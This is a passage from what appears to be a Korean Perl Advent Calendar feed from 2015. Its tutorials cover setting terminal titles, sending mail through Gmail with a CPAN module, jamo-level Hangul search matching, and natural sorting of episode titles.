<em>그림 1.</em> 제목 변경 결과 (<a href="2015-12-06-1.png">원본</a>)</p>
<p>생각보다 간단하죠?
1초마다 제목을 변경한다해도 특별히 다를 부분은 없습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use Time::Piece;
while (1) {
my $t = localtime;
print STDOUT "\033]2;", $t->hms, "\007", "\n";
sleep 1;
}
</pre>
<h2>바퀴의 재활용</h2>
<p><strong>xterm</strong>을 예로 들었는데, 터미널 종류가 <a href="https://en.wikipedia.org/wiki/GNU_Screen">GNU Screen</a>
유파일 경우는 사용할 문자열이 조금 다릅니다.
이 때 터미널 제목 수정시 시작하는 문자는 <code>"\ek"</code>이며 종료하는 문자는 <code>"\e\\"</code> 입니다.
심지어 윈도우 콘솔의 경우 <code>windows.h</code>의 <code>SetConsoleTitle()</code> API를 이용해서 제목을 변경해야 하기도 하죠.
사용하는 터미널의 종류를 확인하고 지원하지 않는 터미널일 경우 처리 및
터미널에 적합한 ASCII 제어 문자열을 선택하고 사용하는 동작은 지루하고 번거로운 일입니다.
이런 여러분을 위해 준비 된 것이 바로 <a href="https://metacpan.org/pod/Term::Title">CPAN의 Term::Title 모듈</a>입니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use Term::Title qw( set_titlebar );
Term::Title::set_titlebar("2015 Seoul.pm 펄 크리스마스 달력");
</pre>
<p>정말 간단하지 않나요?
모듈을 적재한 후 <code>set_titlebar()</code> 함수를 사용해 원하는
문자열을 넘겨주면 해당 문자열로 터미널의 제목이 바뀝니다.
<code>Term::Title</code> 모듈은 윈도우, 맥, 리눅스 뿐만 아니라 비교적 많이 사용하는 터미널 모드를
가려낸 후 가장 적합한 제어 문자열을 사용해서 터미널의 제목을 변경한답니다.
윈도우의 경우 <a href="https://metacpan.org/pod/Win32::Console">Win32::Console 모듈</a>을 이용하니
해당 모듈의 설치가 필요한 점은 잊지 마세요.</p>
<h2>정리하며</h2>
<p>터미널의 제목 변경은 사실 대부분의 사람은 신경도 쓰지 않는 기능이지만,
명령줄 유틸리티를 만드는 개발자라면 의외로 유용하게 쓰는 기능입니다.
대용량 파일을 다운로드해서 후작업을 한다던가, 사용자의 입력을 받아
오랜 시간이 걸리는 일을 처리한다던가 하는 등의 프로그램에서
<code>Term::Titme</code> 모듈을 이용해 이 기능을 적절하게 활용한다면
사용자 편의성을 더욱 높힐 수 있겠죠. :-)</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2015-12-06T00:00:00+09:00keediGmail로 메일 보내기http://advent.perl.kr/2015/2015-12-05.html<h2>저자</h2>
<p><a href="http://twitter.com/gypark">@gypark</a> - <a href="http://gypark.pe.kr">gypark.pe.kr</a>의 주인장.
홈페이지에 <a href="http://gypark.pe.kr/wiki/Perl">Perl에 대해 정리</a>해두는 취미가 있고, Raymundo라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>프로그램을 써서 자동으로 메일이 발송되게 하고 싶은데, 직접 메일 서버를 설치하자니 설치나 설정도 어렵고,
최근에는 스팸 때문에 인증되지 않은 서버에서 발송된 메일은 아예 배달이 거부되는 경우도 있습니다.
간편하게 내가 가입한 <a href="https://mail.google.com/">Gmail</a> 계정을 사용하여 메일을 발송하는 법을 알아봅시다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Email::Send::SMTP::Gmail">CPAN의 Email::Send::SMTP::Gmail 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Email::Send::SMTP::Gmail
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Email::Send::SMTP::Gmail
</pre>
<h2 id="smtp">SMTP 세션 만들기</h2>
<p>먼저 <code>Email::Send::SMTP::Gmail</code> 클래스의 객체를 만들면서 인증 정보를 넣습니다.</p>
<pre class="brush: perl;">
use Email::Send::SMTP::Gmail;
my ( $mail, $error_msg ) = Email::Send::SMTP::Gmail->new(
-smtp => 'smtp.gmail.com',
-login => '내gmail주소',
-pass => '내gmail암호',
);
if ( $mail == -1 ) {
print "error: $error_msg";
exit;
}
</pre>
<p><code>new()</code> 메소드는 인증에 성공하면 세션 정보가 담긴 객체를 반환합니다.
실패할 경우는 <code>(-1, 에러메시지)</code> 형태의 리스트를 반환합니다.
따라서 <code>$mail</code> 변수의 값이 <code>-1</code>인지 확인하면 에러가 발생했는지 알 수 있으며,
에러가 발생했을 때 구체적인 에러메시지는 <code>$error_msg</code> 변수를 확인하면 됩니다.</p>
<p>만일 구글 계정 설정에서 <strong>"2단계 인증"</strong>을 사용하도록 한 경우라면,
그냥 아이디와 비밀번호를 넣어서 로그인할 수 없습니다.
웹으로 로그인할 때라면 휴대폰으로 전송된 인증번호를 다시 넣도록 되어 있는데,
우리가 만든 스크립트는 그런 기능이 없습니다.
이런 경우는 "앱 비밀번호"란 것을 생성하여 사용합니다.
앱 비밀번호를 사용하는 절차는 다음과 같습니다.</p>
<ul>
<li><a href="https://myaccount.google.com/">구글의 내 계정 페이지</a>에 갑니다.</li>
<li>"로그인 및 보안" 페이지에 들어갑니다.</li>
<li>"비밀번호 및 로그인 방식" 상자 안에 있는 "앱 비밀번호"를 클릭합니다.</li>
<li>"기기 선택"을 눌러 "기타(맞춤 이름)"을 선택한 후, 적당한 이름을 넣고 "생성" 버튼을 누릅니다.</li>
<li>16자리의 임시 비밀번호가 출력됩니다. 이것을 코드에 <code>내gmail암호</code> 자리에 넣습니다.</li>
</ul>
<h2>메일 보내기</h2>
<p>메일을 보내는 코드도 아주 간단합니다.</p>
<pre class="brush: perl;">
my ( $result, $err_msg ) = $mail->send(
-to => '수신자메일주소',
-subject => '메일 제목',
-body => '메일 본문 텍스트',
# 첨부 파일이 있는 경우
-attachments=> '/home/gypark/doc.txt,/home/gypark/music.mp3',
);
</pre>
<p>몇가지 유의할 점은 다음과 같습니다.</p>
<ul>
<li>수신자가 여럿일 때는 메일주소들을 쉼표로 구분하여 적어줍니다.</li>
<li>참조나 숨은 참조는 각각 <code>-cc</code>, <code>-bcc</code> 키로 지정할 수 있습니다만, 이 때도 <code>-to</code>는 필수라서 비워둘 수는 없습니다.</li>
<li>제목과 본문 텍스트의 경우 디코드된 펄 문자열, UTF-8로 인코딩된 문자열 두 가지 다 사용 가능합니다.
EUC-KR로 인코딩된 경우도 별 문제없이 발송되는 것까지는 확인했습니다만,
메일 헤더에는 UTF-8이라고 표시되는 것으로 봐서 문제의 소지가 있을지 모릅니다.</li>
<li>첨부 파일이 여러 개인 경우는 각 파일의 경로명을 쉼표로 구분해서 적어줍니다.
만일 적어준 경로에 해당하는 파일이 없더라도 에러가 나지는 않으며, 그 파일을 제외하고 발송됩니다.</li>
<li>모듈 문서에는 명시되지 않았지만, <code>send()</code>는 성공하면 <code>1</code>을 반환하며,
실패할 경우는 <code>new()</code>와 마찬가지로 <code>(-1, 에러메시지)</code> 리스트를 반환합니다.</li>
<li>첨부 파일에 <code>*.exe</code> 같은 실행 파일은 첨부할 수 없습니다. 심지어 압축을 해도 안 됩니다.
보낼 수 없는 파일의 형식에 대해서는 <a href="https://support.google.com/mail/answer/6590">구글의 도움말</a>을 참조하세요.</li>
</ul>
<p>그리고 <code>new()</code>와 <code>send()</code> 모두 자체적으로 에러 처리를 하고는 있지만,
실제 사용해보면 의존성이 걸린 모듈 쪽에서 에러가 날 때 그냥 <code>die</code>해 버리는 경우를 볼 수 있었습니다.
따라서 이런 경우에 스크립트가 죽지 않게 하려면, <code>eval</code> 블록으로 둘러싸거나
별도의 예외 처리 모듈을 사용하면 프로그램을 보다 견고하게 만들 수 있습니다.</p>
<h2>정리하며</h2>
<p>Perl과 <a href="https://metacpan.org/pod/Email::Send::SMTP::Gmail">CPAN의 Email::Send::SMTP::Gmail 모듈</a>을 이용해
Gmail 계정을 통하여 메일을 전송하는 법을 살펴보았습니다.
시스템을 모니터링 중 문제가 생겼을 때 또는
IRC등의 대화방에서 자신의 아이디가 언급 되었을때
메일로 알려준다거나 등의 방법으로 얼마든지 응용이 가능하겠죠? :)</p>
2015-12-05T00:00:00+09:00gypark한글 문자열 자모 단위 일치 검사http://advent.perl.kr/2015/2015-12-04.html<h2>저자</h2>
<p><a href="http://twitter.com/gypark">@gypark</a> - <a href="http://gypark.pe.kr">gypark.pe.kr</a>의 주인장.
홈페이지에 <a href="http://gypark.pe.kr/wiki/Perl">Perl에 대해 정리</a>해두는 취미가 있고, Raymundo라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>인터넷 검색 엔진이나 쇼핑몰 등의 검색 창을 보면,
타이핑을 시작하기 무섭게 검색어를 알아서 완성시켜 주기도 하고,
검색어의 일부만 입력해도 원하는 검색 결과를 보여주기도 합니다.
<em>그림 1</em>과 같이 말이죠.</p>
<p><img src="2015-12-04-1_r.png" alt="form-sample" id="form-sample" />
<em>그림 1.</em> 검색 엔진의 검색어 예측 (<a href="2015-12-04-1.png">원본</a>)</p>
<p><em>그림 1</em>을 보면 <code>정규표현식</code>을 입력하는 과정에서 일시적으로 <code>정귶</code>이라는 문자열이 만들어졌습니다
(세벌식 자판을 사용한다면 이런 일이 없겠지만...).
단순한 정규식 일치나 <code>index</code> 함수를 써서 검사한다면, <code>정귶</code>은 <code>정규표현식</code>에 일치되지 않는 것으로 판정되어 버립니다.
직관적으로 생각해보면, 이 문제를 해결하기 위해서는 문자열을 일단 음소 단위로 분리하면 될 것 같습니다.
그러면 이제 <code>ㅈㅓㅇㄱㅠㅍㅛㅎㅕㄴㅅㅣㄱ</code> 안에서 <code>ㅈㅓㅇㄱㅠㅍ</code>을 찾는 문제가 되고, 이 검사는 일치 판정을 받을 것입니다.
이렇게 음소 단위로 분리하는 작업을 펄 모듈을 이용하여 해 봅시다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Lingua::KO::Hangul::Util">CPAN의 Lingua::KO::Hangul::Util 모듈</a></li>
<li><a href="https://metacpan.org/pod/Lingua::KO::Hangul::JamoCompatMapping">CPAN의 Lingua::KO::Hangul::JamoCompatMapping 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Lingua::KO::Hangul::Util \
Lingua::KO::Hangul::JamoCompatMapping
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Lingua::KO::Hangul::Util \
Lingua::KO::Hangul::JamoCompatMapping
</pre>
<h2>시작</h2>
<p>일단 간단한 테스트 코드를 만들어봅시다.</p>
<p>지금부터 나오는 코드들은, <strong>문자열을 특정 인코딩 규약에 의해 인코딩된 '바이트 스트림'이 아니라, 디코드되어 펄 내부에서 사용되는 '문자열'인 상태로 다루게 됩니다</strong>.
이를 위해서, 따옴표 문자열 상수들을 바이트 스트림이 아닌 문자열로 취급하도록 <code>utf8</code> 프래그마를 사용하고 있습니다.
입력을 외부에서 받는다면, 적절하게 디코드한 후에 작업할 수 있도록 신경을 써야 합니다.</p>
<pre class="brush: perl;">
use utf8; # 문자열 리터럴을 자동으로 디코드하여 사용
# 이 스크립트 자체도 인코딩을 UTF-8로 지정하여 저장해야 함
use 5.010; # say를 쓰기 위해서
binmode STDOUT, ':encoding(UTF-8)'; # 윈도우 명령 프롬프트창이라면 UTF-8 대신 cp949
my @targets = ( '고우영', '공지영' );
my @search = ( 'ㄱ', '고', '공', '고우', '공ㅈ', '공지' );
say "---- regex ----";
for my $s ( @search ) {
for my $t ( @targets ) {
say "$s - $t : ",
$t =~ $s ? "MATCH" : "NOT MATCH";
}
}
</pre>
<p>코드만 보아도 무엇을 하려는지 쉽게 알 수 있을 것입니다.
우리가 <code>고우영</code>을 검색하든 <code>공지영</code>을 검색하든, 검색어를 입력할 때는 <code>ㄱ</code>, <code>고</code>, <code>공</code> 순으로 타이핑하게 됩니다.
따라서 이 세 가지 검색어에 대해서는 <code>고우영</code>과 <code>공지영</code> 모두 일치하는 것으로 판정되어야 할 것입니다.
그러나 막상 실행해보면 (당연하게도) 그렇게 되지 않습니다.</p>
<pre class="brush: plain;">
---- regex ----
ㄱ - 고우영 : NOT MATCH (x)
ㄱ - 공지영 : NOT MATCH (x)
고 - 고우영 : MATCH
고 - 공지영 : NOT MATCH (x)
공 - 고우영 : NOT MATCH (x)
공 - 공지영 : MATCH
고우 - 고우영 : MATCH
고우 - 공지영 : NOT MATCH
공ㅈ - 고우영 : NOT MATCH
공ㅈ - 공지영 : NOT MATCH (x)
공지 - 고우영 : NOT MATCH
공지 - 공지영 : MATCH
</pre>
<p>위 출력 결과에서, 우리가 원하는 결과가 나오지 않은 부분에만 따로 <code>(x)</code> 표시를 하였습니다.
<code>=~</code> 연산자를 써서 정규식 일치 검사를 하는 대신 <code>index($t, $s)</code>와 같이 부분문자열 검색을 시도해도 마찬가지 결과가 나옵니다.
<code>ㄱ</code>은 <code>고우영</code>이나 <code>공지영</code>에 포함되지 않는 것으로 판정됩니다.</p>
<h2>음소 단위로 분리</h2>
<p>처음에 말했던 것처럼, 한글 단어를 음소 즉 자음과 모음 단위로 분리해보도록 합시다.
이를 위해서 <a href="https://metacpan.org/pod/Lingua::KO::Hangul::Util">Lingua::KO::Hangul::Util 모듈</a>을 사용합니다.
이 모듈에 있는 decomposeSyllable() 함수는 음절을 자모음 단위로 분리한 형태의 문자열을 반환합니다.</p>
<pre class="brush: perl;">
# "가"(\x{AC00}) 를 "ㄱ"(\x{1100})과 "ㅏ"(\x{1161})의 조합으로 분리
my $decomposed = decomposeSyllable("\x{AC00}"); # "\x{1100}\x{1161}"
# 주의:
# 분리된 문자열을 출력한다고 해서 "ㄱㅏ"가 출력되는 것은 아님.
# 유니코드 정규화 명세에 의해, 이것은 "\x{AC00}"와 똑같이 "가"를 만든다.
# 따라서 이 출력은 여전히 "가"로 보인다. (사용하는 터미널이 충분히 똑똑하다면)
# 하지만 eq 로 검사할 경우는 원래의 문자열과는 같지 않은 걸로 판정된다.
print $decomposed;
</pre>
<p>저 함수를 사용하여 검색 대상 문자열과 검색어 문자열을 음소 단위로 분리한 후 일치 검사를 해 봅시다.
앞에서 작성했던 코드에 다음 코드를 추가합니다.</p>
<pre class="brush: perl;">
use Lingua::KO::Hangul::Util qw(:all);
# 일치 검사하는 서브루틴
sub jamo_match {
my ( $target, $search ) = @_;
# $target, $search 를 각각 음소 단위로 분리
my $target_jamo = decomposeSyllable($target);
my $search_jamo = decomposeSyllable($search);
# 분리된 형태의 문자열을 사용하여 일치 검사
return ( $target_jamo =~ $search_jamo );
}
say "---- decompose ----";
for my $s ( @search ) {
for my $t ( @targets ) {
say "$s - $t : ",
# 이제 정규식 대신 jamo_match()로 검사
jamo_match( $t, $s ) ? "MATCH" : "NOT MATCH";
}
}
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: plain;">
---- decompose ----
ㄱ - 고우영 : NOT MATCH (x)
ㄱ - 공지영 : NOT MATCH (x)
고 - 고우영 : MATCH
고 - 공지영 : MATCH (해결)
공 - 고우영 : NOT MATCH (x)
공 - 공지영 : MATCH
고우 - 고우영 : MATCH
고우 - 공지영 : NOT MATCH
공ㅈ - 고우영 : NOT MATCH
공ㅈ - 공지영 : NOT MATCH (x)
공지 - 고우영 : NOT MATCH
공지 - 공지영 : MATCH
</pre>
<p>음... 결과가 만족스럽지 않습니다.
<code>고</code>가 <code>공지영</code>에 일치한다는 판정을 받아내는 것에는 성공했으나,
나머지 네 경우는 여전히 일치하지 않는군요.
이런 문제가 생기는 이유는 다음과 같습니다.</p>
<p>첫째로, <code>decomposeSyllable()</code> 함수에 의해 분리된 음소들은 유니코드의 '한글 자모 영역'에 있는 문자들입니다.
이 한글 자모 영역에 있는 자음은 초성과 종성이 서로 별개의 문자로 구분되어 있습니다.
위 코드에 출력문을 넣어서 눈으로 확인해 봅시다.</p>
<pre class="brush: perl;">
my $target_jamo = decomposeSyllable($target);
say "$target_jamo : ",
join(':', map { sprintf( "0x%04X", ord($_) ) } split //, $target_jamo);
my $search_jamo = decomposeSyllable($search);
say "$search_jamo : ",
join(':', map { sprintf( "0x%04X", ord($_) ) } split //, $search_jamo);
</pre>
<p>음소로 분리된 형태의 각 문자의 코드값을 출력시켜서 비교해 보면 아래와 같습니다.</p>
<pre class="brush: plain;">
. 초성ㄱ:중성ㅗ:초성ㅇ:중성ㅜ:초성ㅇ:중성ㅕ:종성ㅇ
고우영 : 0x1100:0x1169:0x110B:0x116E:0x110B:0x1167:0x11BC
. 초성ㄱ:중성ㅗ:종성ㅇ
공 : 0x1100:0x1169:0x11BC
</pre>
<p>즉, <code>공</code>을 분리했을 때 나오는 세 번째 음소는 <code>종성 이응</code>인데,
<code>고우영</code>의 세 번째 음소는 <code>초성 이응</code>이기 때문에 일치하지 않는 것으로 판정됩니다.
그러면 <code>공</code>은 그렇다치고, 어째서 <code>ㄱ</code>은 일치하지 않는 것일까요?
코드값을 확인해봅시다.</p>
<pre class="brush: plain;">
고우영 : 0x1100:0x1169:0x110B:0x116E:0x110B:0x1167:0x11BC
ㄱ : 0x3131
</pre>
<p><code>ㄱ</code>의 코드값이 <code>0x3131</code>입니다. 이것은 초성 기역도 종성 기역도 아닙니다.
한글을 입력할 때 완성된 글자가 아니라 자음이나 모음 하나만 단독으로 입력하는 경우,
그 음소는 유니코드의 '한글 호환 자모(Hangul Compatibility Jamo)' 영역에 있는 것을 사용하게 됩니다.
지금처럼 제가 이 스크립트를 만들면서 에디터에 입력한 <code>ㄱ</code>도,
표준 입력으로 입력한 <code>ㄱ</code>도,
웹에서 폼을 이용해 입력한 <code>ㄱ</code>도 마찬가지입니다.</p>
<p>한글 호환 자모 영역에 있는 자모들은 서로 조립되지 않으며
(예를 들어 <code>"\x{3131}\x{314F}"</code>를 출력하면 <code>가</code>로 조립되지 않고 그냥 <code>ㄱㅏ</code>로 출력됨),
자음의 경우 <strong>초성과 종성의 구분이 따로 없이 음소 당 하나씩만 있습니다</strong>.</p>
<p>이제 원인을 파악했으니, 해결책도 알 수 있을 것 같습니다.
문자열을 음소 단위로 분리한 다음, 이 음소들을 비교할 때 <strong>자음의 초성과 종성을 구분하지 않도록</strong> 하면 됩니다.
하지만 종성이 나올 때마다 똑같은 음소의 초성으로 바꾸기는 불편하니,
아예 '한글 자모' 영역에 있는 자음을 일괄적으로 '한글 호환 자모' 영역에 있는 자음으로 변환합시다.
즉 <code>초성 기역(U+1100)</code>과 <code>종성 기역(U+11A8)</code>을 일괄적으로 <code>한글 문자 기역(U+3131)</code>으로 변환한 다음 비교하는 것입니다.</p>
<h2>한글 호환 자모로 변환</h2>
<p>한글 자모 영역에 해당하는 문자를 한글 호환 자모 영역에 있는 문자로 변환하기 위해서,
<a href="https://metacpan.org/pod/Lingua::KO::Hangul::JamoCompatMapping">Lingua::KO::Hangul::JamoCompatMapping 모듈</a>을 사용할 수 있습니다.
이 모듈에 있는 <code>jamo_to_compat()</code> 함수는 인자로 한글 자모 영역에 있는 음소를 전달하면 한글 호환 자모 영역에 있는 같은 음소를 반환합니다.</p>
<pre class="brush: perl;">
# 한글 초성 기역 (\x{1100}) => 한글 문자 기역 (\x{3131})
$letter = jamo_to_compat("\x{1100}");
</pre>
<p>이제 음소 분리 후 자음을 변환한 후 일치 검사를 하는 함수를 만들고, 그 함수를 사용해봅시다.</p>
<pre class="brush: perl;">
use Lingua::KO::Hangul::JamoCompatMapping qw(jamo_to_compat);
sub jamo_compat_match {
my ( $target, $search ) = @_;
# jamo_to_compat()은 입력을 음소 하나만 받기 때문에,
# decomposeSyllable()의 결과로 나온 문자열을
# 다시 개별 문자들로 나누기 위해 split 사용하고
# 변환된 결과를 다시 join으로 합침
#
# 또한, 인자가 변환 가능한 한글 자모 영역의 음소가 아닌 경우
# undef을 반환하므로, 'ㄱ'과 같이 처음부터 한글 호환 자모인
# 음소는 변환 후 undef이 되어버리기 때문에 이 경우 원래 값을
# 그대로 쓰도록 defined-or 연산자를 사용하고 있음
my $target_jamo_compat = join '', map { jamo_to_compat($_) // $_ } split //, decomposeSyllable($target);
my $search_jamo_compat = join '', map { jamo_to_compat($_) // $_ } split //, decomposeSyllable($search);
return ( $target_jamo_compat =~ $search_jamo_compat )
}
say "---- decompose and convert ----";
for my $s ( @search ) {
for my $t ( @targets ) {
say "$s - $t : ",
jamo_compat_match( $t, $s ) ? "MATCH" : "NOT MATCH";
}
}
</pre>
<p>결과는 다음과 같습니다.</p>
<pre class="brush: plain;">
---- decompose and convert ----
ㄱ - 고우영 : MATCH (해결)
ㄱ - 공지영 : MATCH (해결)
고 - 고우영 : MATCH
고 - 공지영 : MATCH (해결)
공 - 고우영 : MATCH (해결)
공 - 공지영 : MATCH
고우 - 고우영 : MATCH
고우 - 공지영 : NOT MATCH
공ㅈ - 고우영 : NOT MATCH
공ㅈ - 공지영 : MATCH (해결)
공지 - 고우영 : NOT MATCH
공지 - 공지영 : MATCH
</pre>
<p>이제 우리가 원하는 결과가 나오고 있습니다.</p>
<h2>정리하며</h2>
<p>한글 단어를 음소 단위로 분리하고, 초성과 종성의 자음을 구분하지 않게 함으로써
입력이 완료되지 않은 상태의 문자열을 대상으로 일치 검사를 수행하는 법을 살펴보았습니다.
여기에다가 퍼지 검색 알고리즘을 적용하여, 입력에 오타가 있더라도
적절한 검색 결과를 내어주도록 하는 식으로 응용할 수도 있습니다.</p>
<h2>참고</h2>
<p>솔직히 말씀드리면 다국어나 유니코드 처리에 관한 글을 쓰기에는 저도 아는 게 많이 부족합니다.
제가 이 기사를 작성하면서 참고한 웹페이지들을 나열하니 자세한 것은 이곳에서 직접 살펴보세요.</p>
<ul>
<li><a href="http://www.unicode.org/charts/">유니코드 8.0 문자 코드 차트 전체 링크</a></li>
<li><a href="http://www.unicode.org/charts/PDF/UAC00.pdf">한글 음절 영역 코드표(Hangul Syllables, AC00-D7AF) - PDF</a></li>
<li><a href="http://www.unicode.org/charts/PDF/U1100.pdf">한글 자모 영역 코드표(Hangul Jamo, 1100-11FF) - PDF</a></li>
<li><a href="http://www.unicode.org/charts/PDF/U3130.pdf">한글 호환 자모 영역 코드표(Hangul Compatibility Jamo, 3130-318F) - PDF</a></li>
<li><a href="http://gernot-katzers-spice-pages.com/var/korean_hangul_unicode.html">Korean Hangul Syllabary in Unicode</a></li>
<li><a href="http://d2.naver.com/helloworld/76650">한글 인코딩의 이해 2편: 유니코드와 Java를 이용한 한글 처리</a></li>
<li><a href="http://mwultong.blogspot.com/2006/09/unicode-hangul-code-point-map.html">유니코드 한글 음절과 자모의 영역/주소 - Unicode Hangul Code Point Map</a></li>
</ul>
2015-12-04T00:00:00+09:00gyparkCPAN에서 만남을 추구하면 안되는 걸까 Vol. 1http://advent.perl.kr/2015/2015-12-03.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/JEEN_LEE">@JEEN_LEE</a> - Bool Stack NG-near. 위대한 지도자 동지 남편.
한이, 유이 애비. 시간의 딸(?)</p>
<blockquote class="twitter-tweet" lang="en"><p lang="ko" dir="ltr">난 남잔데?? <a href="https://t.co/yZKX3eBCi3">pic.twitter.com/yZKX3eBCi3</a></p>— JEEN (@JEEN_LEE) <a href="https://twitter.com/JEEN_LEE/status/671937657191030785">December 2, 2015</a></blockquote>
<h2>시작하며</h2>
<p>열심히 일하다보면 뜻대로 쉽게 풀리지 않는 일들에 휘둘리기 마련입니다.
그렇지 않으면 어떻게 돌아가게는 해놓고 나중에 다시 보면 뭔가 찜찜한 느낌이 들기도 하죠.
'아, 내가 왜 이런 걸 주업으로 삼아서 이러고 있나' 싶기도 합니다.
이런 후레시한 네거티브향이 풀풀 풍길 때에 우리는 쉬이 뜻하고 있던 '만남'을 추구합니다.</p>
<h2>그러면 문제는 뭔가?</h2>
<p>IT 강<strike>박</strike>국에서 컨텐츠 강국으로 발돋움하는 헬조센. 그리고 우리 사장님은
그런 곳에서 사업을 벌이고 있습니다. 사장님이 줏어오신 컨텐츠는 우리가 정리해서 뿌려야 되죠.
컨텐츠 제공자님께서 주신 컨텐츠와 관련 데이터를 받아봅니다.</p>
<pre class="brush: plain;">
던전에서 천 번을 휘둘러야 레벨업을 한다 3화
던전에서 천 번을 휘둘러야 레벨업을 한다 1화
던전에서 천 번을 휘둘러야 레벨업을 한다 4화
던전에서 천 번을 휘둘러야 레벨업을 한다 8화
던전에서 천 번을 휘둘러야 레벨업을 한다 2화
...
던전에서 천 번을 휘둘러야 레벨업을 한다 24화
...
</pre>
<p>아니 뭔가 데이터가 개차반입니다. 제대로 된(!) 데이터를 달라고 컨텐츠 제공자님에게 요청을 넣
어봐도 뭐 거기도 제대로 응해줄 기분이 아닌 것 같습니다. 거대한 분노가 휘몰아 칩니다만 이런
짤을 보고 마음을 가라앉힙니다.</p>
<p><img src="2015-12-03-1_r.png" alt="불평하지마" id="" />
<em>그림 1.</em> 불평하지마 (<a href="2015-12-03-1.png">원본</a>)</p>
<p>뭐가 문제겠어요. 그냥 뭐 <code>sort()</code> 한 번 돌려서 DB 때려넣으면 되는 그런 일 아니겠어요?
그래서 단조롭게 코드를 만들어 넣습니다.</p>
<pre class="brush: perl;">
use v5.22; # 자신의 펄에 맞는 버전을 사용하면 됩니다.
my @titles = (
"던전에서 천 번을 휘둘러야 레벨업을 한다 3화",
"던전에서 천 번을 휘둘러야 레벨업을 한다 1화",
"던전에서 천 번을 휘둘러야 레벨업을 한다 4화",
"던전에서 천 번을 휘둘러야 레벨업을 한다 8화",
"던전에서 천 번을 휘둘러야 레벨업을 한다 2화",
...
);
for my $title (sort @titles) { say $title }
</pre>
<p>그냥 되는 거잖...</p>
<pre class="brush: plain;">
던전에서 천 번을 휘둘러야 레벨업을 한다 10화
던전에서 천 번을 휘둘러야 레벨업을 한다 11화
던전에서 천 번을 휘둘러야 레벨업을 한다 12화
던전에서 천 번을 휘둘러야 레벨업을 한다 1화
던전에서 천 번을 휘둘러야 레벨업을 한다 2화
던전에서 천 번을 휘둘러야 레벨업을 한다 3화
...
</pre>
<p>어!?</p>
<p>...</p>
<p>아! <strike>망할</strike> 컴퓨터가 알아듣기 힘들었나봐요. 크읏, 하지만 불평해서는
안되는 것입니다. 컴퓨터는 일을 하고 있는 것이니까요.
문제는 정렬할 데이터가 단순 숫자나 문자열만이 아닌, 이 두 상황의 교집합에 대응해야 하는
것입니다. 그럼 어떻게!? 매일같이 오는 데이터 속에서 가장 효율적인 방법은 갑(컨텐츠 제공자)
을 족치는 것이죠. 하지만 가능할 리가 없습니다. 아, 그러면 좀 더 머리를 써보죠.</p>
<pre class="brush: perl;">
use v5.22; # 자신의 펄에 맞는 버전을 사용하면 됩니다.
my @titles = (
...
);
sub filter {
my $text = shift;
( my $number = $text ) =~ s/[^\d]+//g;
($number, $text);
}
for my $r (
sort { $a->[0] <=> $b->[0] }
map { [ filter($_) ] }
@titles
)
{
say $r->[1];
}
</pre>
<p>느긋하게 결과를 기다립니다.</p>
<pre class="brush: plain;">
...
던전에서 천 번을 휘둘러야 레벨업을 한다 8화
던전에서 천 번을 휘둘러야 레벨업을 한다 9화
던전에서 천 번을 휘둘러야 레벨업을 한다 10화
던전에서 천 번을 휘둘러야 레벨업을 한다 11화
던전에서 천 번을 휘둘러야 레벨업을 한다 12화
...
</pre>
<p>원하는 결과가 나왔습니다. 만세! 이걸로 정시퇴근을 쟁취할 수 있게 되었습니다.</p>
<p>다음 날 아침이 되어 코드 리뷰를 잠깐합니다.
옆자리 A님은 하루에 5천줄 가까이 커밋을 했고, 저는 그냥 5줄도 안되는 거 같습니다.
그냥 이게 내 주업이 아닌가보다 매일 이렇게 코드 리뷰 할 때마다 생각하게 되죠.</p>
<blockquote class="twitter-tweet" lang="en"><p lang="en" dir="ltr">5-line code review vs 5000-line code review <a href="https://t.co/dCTMicGDmt">https://t.co/dCTMicGDmt</a></p>— fiona (@fioroco) <a href="https://twitter.com/fioroco/status/671128541057142784">November 30, 2015</a></blockquote>
<p>드디어 제 차례가 되었습니다.</p>
<blockquote>
<p>A: 그거 왜 그렇게 하셨어요?</p>
<p>J: (시작부터 그렇게 나오시겠다?) 그럼 뭐 다른 방법이 있을까요?(물음에는 되물어야지)</p>
<p>A: 그거 그냥 한 줄이면 되는데...</p>
<p>J: (뭐!? 이 원라이너성애자가...) ...(후략)</p>
</blockquote>
<p>그리고 저는 코드 리뷰를 통해서 약간의 위궤양 증세와 함께 또다른 방법을 전해들었습니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Sort::Naturally">CPAN의 Sort::Naturally 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Sort::Naturally
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
